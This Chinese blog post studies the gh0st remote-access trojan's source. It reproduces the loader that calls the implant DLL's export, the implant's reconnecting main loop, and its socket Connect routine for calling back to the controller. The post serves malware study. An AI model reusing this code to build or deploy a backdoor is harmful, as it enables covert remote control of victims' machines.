C++开源项目研究——gh0st远控(一)

一、通过肉机启动TestDll.exe来加载被控端的功能dll

使用TestDll.exe来调用TestRun函数:

其实原理很简单:

1)首先使用HMODULE hDllServer =LoadLibrary("server.dll")来加载dll

2)然后通过GetProcAddr(hDllServer,"TestRun");来获取导出函数的函数地址,进而通过函数指针pTestRunT来根据函数地址调用TestRun这个函数

注:要想通过GetProcAddr这种方式得到dll导出函数的地址,就需要你在dll里面定义成相应的导出函数,如:extern "C" __declspec(dllexport) void TestRun(char* strHost, int nPort);这种形式

main函数的完整代码:

int main() {
	std::cout << "hello world" << std::endl;
	char strHost[] = "127.0.0.1";
	int nPort = 80;
	//定义函数指针,实现按照函数地址调用指定类型的函数
	typedef void(_cdecl* TestRunT)(char* strHost, int nPort);

	HMODULE hDllServer = LoadLibrary("..\\..\\bin\\server\\server.dll");
	//HMODULE hDllServer = LoadLibrary("server.dll");

	TestRunT pTestRunT=(TestRunT)GetProcAddress(hDllServer, "TestRun");

	if (pTestRunT != nullptr) {
		pTestRunT(strHost, nPort);//调用这个导出函数
	}

	system("pause");
	return 0;

}

二、dllmain.cpp当中定义的导出函数TestRun

接下来我们来看看这个导出函数具体长啥样

显然TestRun函数的主任务就是创建了main线程,也就是主线程

//添加导出函数
extern "C" __declspec(dllexport) void TestRun(char* strHost, int nPort) {
	strcpy(g_strHost, strHost);  //保存上线地址
	g_dwPort = nPort;             //保存上线端口
	HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
	//这里等待线程结束
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
}

那么主线程main又做了哪些事情呢?

1)这里面比较重要的就是声明了CClientSocket socketClient;类

可以大致瞅一眼这个类的定义:里面包含了m_Socket这种关键信息,之所以封装成一个类是为了方便以后的管理,使得里面的变量和接口不会太散乱

2)里面通过以下语句来给肉机指定要连接的服务端的IP和端口号

而g_strHost和g_dwPort的来源就是通过extern "C" __declspec(dllexport) void TestRun(char* strHost, int nPort)的形参传递进来的 

//上线地址 
lpszHost = g_strHost; 
dwPort = g_dwPort; 

3)下一步就是肉机来主动连接主控端了:

if (!socketClient.Connect(lpszHost, dwPort))
		{
			bBreakError = CONNECT_ERROR;       //---连接错误跳出本次循环
			continue;
		}

4)以下是main函数的完整代码:

DWORD WINAPI main(char* lpServiceName)
{
	// lpServiceName,在ServiceMain返回后就没有了
	char	strServiceName[256];
	char	strKillEvent[50];
	HANDLE	hInstallMutex = NULL;
	//
	// Set Window 
	//!!!winsta0是设置的是xp的窗口,以后可能需要修改
	HWINSTA hOldStation = GetProcessWindowStation();
	HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
	if (hWinSta != NULL)
		SetProcessWindowStation(hWinSta);
	//
	//

	if (CKeyboardManager::g_hInstance != NULL)
	{
		SetUnhandledExceptionFilter(bad_exception);

		lstrcpy(strServiceName, lpServiceName);
		wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名

		hInstallMutex = CreateMutex(NULL, true, g_strHost);
		//ReConfigService(strServiceName);   //--lang--
		// 删除安装文件
	//	DeleteInstallFile(lpServiceName);     //--lang--
	}
	// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
	SetErrorMode(SEM_FAILCRITICALERRORS);
	char* lpszHost = NULL;
	DWORD	dwPort = 80;
	char* lpszProxyHost = NULL;
	DWORD	dwProxyPort = 0;
	char* lpszProxyUser = NULL;
	char* lpszProxyPass = NULL;

	HANDLE	hEvent = NULL;

	//---这里声明了一个 CClientSocket类
	CClientSocket socketClient;
	BYTE	bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
	while (1)
	{
		// 如果不是心跳超时,不用再sleep两分钟
		if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
		{
			// 2分钟断线重连, 为了尽快响应killevent
			for (int i = 0; i < 2000; i++)
			{
				hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
				if (hEvent != NULL)
				{
					socketClient.Disconnect();
					CloseHandle(hEvent);
					break;
					break;
				}
				// 改一下
				Sleep(60);
			}
		
		//上线地址
		lpszHost = g_strHost;
		dwPort = g_dwPort;

		if (lpszProxyHost != NULL)
			socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
		else
			socketClient.setGlobalProxyOption();

		DWORD dwTickCount = GetTickCount();
		//---调用Connect函数向主控端发起连接
		if (!socketClient.Connect(lpszHost, dwPort))
		{
			bBreakError = CONNECT_ERROR;       //---连接错误跳出本次循环
			continue;
		}
		// 登录
		DWORD dwExitCode = SOCKET_ERROR;
		sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
		//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
		CKernelManager	manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
		socketClient.setManagerCallBack(&manager);

		//
		// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
		for (int i = 0; (i < 10 && !manager.IsActived()); i++)
		{
			Sleep(1000);
		}
		// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
		if (!manager.IsActived())
			continue;

		//

		DWORD	dwIOCPEvent;
		dwTickCount = GetTickCount();

		do
		{
			hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
			dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
			Sleep(500);
		} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);

		if (hEvent != NULL)
		{
			socketClient.Disconnect();
			CloseHandle(hEvent);
			break;
		}
	}
#ifdef _DLL
	//
	// Restor WindowStation and Desktop	
	// 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
	// 	SetProcessWindowStation(hOldStation);
	// 	CloseWindowStation(hWinSta);
	//
	//
#endif
	SetErrorMode(0);
	ReleaseMutex(hInstallMutex);
	CloseHandle(hInstallMutex);
}

三、Connect函数剖析

然后我们来跟进Connect函数:

1)其中最重要的当然是:

m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
		return false;

得到和主控端连接的socket之后就相当于得到了一个四元组来唯一标识二者的通信关系,之后的交流都通过这次连接的socket来进行

2)Connect函数完整代码: 

//---向主控端发起连接
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
	// 一定要清除一下,不然socket会耗尽系统资源
	Disconnect();
	// 重置事件对像
	ResetEvent(m_hEvent);
	m_bIsRunning = false;

	if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
		return false;
	m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 

	if (m_Socket == SOCKET_ERROR)   
	{ 
		return false;   
	}

	hostent* pHostent = NULL;
	if (m_nProxyType != PROXY_NONE)
		pHostent = gethostbyname(m_strProxyHost);
	else
		pHostent = gethostbyname(lpszHost);

	if (pHostent == NULL)
		return false;
	
	// 构造sockaddr_in结构
	sockaddr_in	ClientAddr;
	ClientAddr.sin_family	= AF_INET;
	if (m_nProxyType != PROXY_NONE)
		ClientAddr.sin_port	= htons(m_nProxyPort);
	else
		ClientAddr.sin_port	= htons(nPort);

	ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);

	if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)   
		return false;
// 禁用Nagle算法后,对程序效率有严重影响
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled 
//   const char chOpt = 1;
// 	int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));

	// 验证socks5服务器
	if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort))
	{
		return false;
	}
	// 不用保活机制,自己用心跳实瑞
	
	const int chOpt = 1; // True !!!我把char改成了int
	// Set KeepAlive 开启保活机制, 防止服务端产生死连接
	//!!!将sizeof(chOpt)改成了sizeof(int)
	if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)
	{
		// 设置超时详细信息
		tcp_keepalive	klive;
		klive.onoff = 1; // 启用保活
		klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive
		klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply
		WSAIoctl
			(
			m_Socket, 
			SIO_KEEPALIVE_VALS,
			&klive,
			sizeof(tcp_keepalive),
			NULL,
			0,
			(unsigned long *)&chOpt,
			0,
			NULL
			);
	}

	m_bIsRunning = true;
	//---连接成功,开启工作线程  转到WorkThread
	m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
	return true;
}

刑了,今天的你就到此为止吧,明天还要接着浪啊!🎃🎃 作者:布卍哥 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值